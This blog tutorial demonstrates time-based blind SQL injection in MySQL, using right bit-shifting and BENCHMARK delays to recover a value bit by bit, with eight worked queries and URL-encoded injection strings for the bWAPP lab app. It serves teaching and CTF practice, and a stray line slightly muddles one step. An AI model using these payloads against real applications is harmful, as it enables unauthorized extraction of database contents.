I was performing some penetration tests in 2011 – 2012 against various PHP applications integrated with MySQL databases which were vulnerable to Time Based Blind SQL Injection.  Due to various constraints and limitations, exploitation was a little tricky and I was forced to investigate a method which allowed me to retrieve data with as little requests as possible.

I stumbled across this paper demonstrating SQL injection using Bit shifting techniques: https://www.exploit-db.com/papers/17073/

During a recent CTF exercise on Hack the Box (https://www.hackthebox.eu/) I found myself revisiting this method to exploit some tricky SQL injection.

This blog post will demonstrate how the ‘right shift’ Operator ( >> ) can be used to enumerate the Binary bits of a value returned from a SQL query.

Note: A full description of Bit Functions and Operators can be found at the following URL: https://dev.mysql.com/doc/refman/5.7/en/bit-functions.html

The right shift operator will shift the number of bits of a binary value 1 location to the right, as illustrated in the example below:

mysql> select ascii(b'01110010');

+--------------------+

| ascii(b'01110010') |

+--------------------+

|                114 |

+--------------------+

1 row in set (0.00 sec)



mysql> select ascii(b'01110010') >> 1;

+-------------------------+

| ascii(b'01110010') >> 1 |

+-------------------------+

|                      57 |

+-------------------------+

1 row in set (0.00 sec)

This can be utilised to enumerate a character of a string when exploiting Blind SQL injection.  This guarantees that the data can be enumerated by a maximum of 8 requests per character if it appears within the full ASCII table.

The data we wish to extract via this method is the first character returned for the query: select user()

First Bit:

We start by finding the value of the first bit:

????????

Two possibilities for this:

0 (Decimal value: 0) // TRUE condition

OR

1 (Decimal value: 1) // FALSE condition

mysql> select if ((ascii((substr(user(),1,1))) >> 7 )=0,benchmark(10000000,sha1('test')), 'false');

+--------------------------------------------------------------------------------------+

| if ((ascii((substr(user(),1,1))) >> 7 )=0,benchmark(10000000,sha1('test')), 'false') |

+--------------------------------------------------------------------------------------+

| 0                                                                                    |

+--------------------------------------------------------------------------------------+

1 row in set (2.35 sec)

The SQL query resulted in a time delay, therefore the condition is TRUE, resulting in the first bit being 0

0???????


Second Bit:

Now we need find the value of the second bit. As before, there are two possibilities for this:

00 (Decimal value: 0) // TRUE condition

OR

01 (Decimal value: 1) // FALSE condition

mysql> select if ((ascii((substr(user(),1,1))) >> 6 )=0,benchmark(10000000,sha1('test')), 'false');

+--------------------------------------------------------------------------------------+

| if ((ascii((substr(user(),1,1))) >> 6 )=0,benchmark(10000000,sha1('test')), 'false') |

+--------------------------------------------------------------------------------------+

| false                                                                                |

+--------------------------------------------------------------------------------------+

1 row in set (0.00 sec)

The SQL query resulted in no time delay, therefore the condition is FALSE, resulting in the second bit being 1

01?????

Third Bit:

Now we need find the value of the third bit. As before, there are two possibilities for this:

010 (Decimal value: 2) // TRUE

OR

011 (Decimal value: 3) // FALSE

mysql> select if ((ascii((substr(user(),1,1))) >> 5 )=2,benchmark(10000000,sha1('test')), 'false');

+--------------------------------------------------------------------------------------+

| if ((ascii((substr(user(),1,1))) >> 5 )=2,benchmark(10000000,sha1('test')), 'false') |

+--------------------------------------------------------------------------------------+

| false                                                                                |

+--------------------------------------------------------------------------------------+

1 row in set (0.00 sec)

The SQL query resulted in no time delay, therefore the condition is FALSE, resulting in the third bit being 1

011?????

Fourth Bit:

Now we need find the value of the fourth bit. As before, there are two possibilities for this:

0110 (Decimal: 6) // TRUE

OR

0111 (Decimal: 7) // FALSE

mysql> select if ((ascii((substr(user(),1,1))) >> 4 )=6,benchmark(10000000,sha1('test')), 'false');

+--------------------------------------------------------------------------------------+

| if ((ascii((substr(user(),1,1))) >> 4 )=6,benchmark(10000000,sha1('test')), 'false') |

+--------------------------------------------------------------------------------------+

| false                                                                                |

+--------------------------------------------------------------------------------------+

1 row in set (0.00 sec)

The SQL query resulted in no time delay, therefore the condition is FALSE, resulting in the fourth bit being 1

0111????

Fifth Bit:

Now we need find the value of the fifth bit. As before, there are two possibilities for this:

01110 (Decimal: 14) /// TRUE

OR

01111 (Decimal: 15) // FALSE

mysql> select if ((ascii((substr(user(),1,1))) >> 3 )=14,benchmark(10000000,sha1('test')), 'false');

+---------------------------------------------------------------------------------------+

| if ((ascii((substr(user(),1,1))) >> 3 )=14,benchmark(10000000,sha1('test')), 'false') |

+---------------------------------------------------------------------------------------+

| 0                                                                                     |

+---------------------------------------------------------------------------------------+

1 row in set (2.46 sec)

The SQL query resulted in a time delay, therefore the condition is TRUE, resulting in the fifth bit being 0

01110???

Sixth Bit:

Now we need find the value of the sixth bit. As before, there are two possibilities for this:

011100 (Decimal: 28) // TRUE

OR

011101 (Decimal: 29) // FALSE

mysql> select if ((ascii((substr(user(),1,1))) >> 2 )=28,benchmark(10000000,sha1('test')), 'false');

+---------------------------------------------------------------------------------------+

| if ((ascii((substr(user(),1,1))) >> 2 )=28,benchmark(10000000,sha1('test')), 'false') |

+---------------------------------------------------------------------------------------+

| 0                                                                                     |

+---------------------------------------------------------------------------------------+

1 row in set (2.44 sec)

The SQL query resulted in a time delay, therefore the condition is TRUE, resulting in the sixth bit being 0

011100??

Seventh Bit:

Now we need find the value of the seventh bit. As before, there are two possibilities for this:

0111000 (Decimal: 56) // TRUE

OR

0111001 (Decimal: 57) // FALSE

mysql> select if ((ascii((substr(user(),1,1))) >> 1 )=56,benchmark(10000000,sha1('test')), 'false');

+---------------------------------------------------------------------------------------+

| if ((ascii((substr(user(),1,1))) >> 1 )=56,benchmark(10000000,sha1('test')), 'false') |

+---------------------------------------------------------------------------------------+

| false                                                                                 |

+---------------------------------------------------------------------------------------+

1 row in set (0.00 sec)

The SQL query resulted in no time delay, therefore the condition is FALSE, resulting in the seventh bit being 1

The fourth bit must be 1

0111001?

Eighth Bit:

Now we need find the value of the eighth and final bit. As before, there are two possibilities for this:

01110010 (Decimal: 114) // TRUE

OR

01110011 (Decimal: 115) // FALSE

mysql> select if ((ascii((substr(user(),1,1))) >> 0 )=114,benchmark(10000000,sha1('test')), 'false');

+----------------------------------------------------------------------------------------+

| if ((ascii((substr(user(),1,1))) >> 0 )=114,benchmark(10000000,sha1('test')), 'false') |

+----------------------------------------------------------------------------------------+

| 0                                                                                      |

+----------------------------------------------------------------------------------------+

1 row in set (2.33 sec)

The SQL query resulted in a time delay, therefore the condition is TRUE, resulting in the eight bit being 0

01110010

Now we can conclude that the binary value for the first character returned by the query: select user() is 01110010 resulting in a decimal value of 114.  114 being the ‘r’ character of the ASCII table.

mysql> select user();

+----------------+

| user()         |

+----------------+

| root@localhost |

+----------------+

1 row in set (0.00 sec)

In order to demonstrate this type of Blind SQL injection attack, I have demenstrated how to enumerate the first and last binary bit of the first character returned by ‘select user()’ on the bWAPP vulnerable application: (https://www.vulnhub.com/entry/bwapp-bee-box-v16,53/)

  1. SQLi string returning a TRUE condition for the first bit:
test%27+and+if+((ascii((substr(user(),1,1)))+>>+7+)=0,benchmark(5000000,md5('test')),+'false')%23
  1. SQLi string returning a FALSE condition for the first bit:
test%27+and+if+((ascii((substr(user(),1,1)))+>>+7+)=1,benchmark(5000000,md5('test')),+'false')%23
  1. SQLi string returning a TRUE condition for the eight bit:
test%27+and+if+((ascii((substr(user(),1,1)))+>>+0+)=114,benchmark(5000000,md5('test')),+'false')%23

By Smittix

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.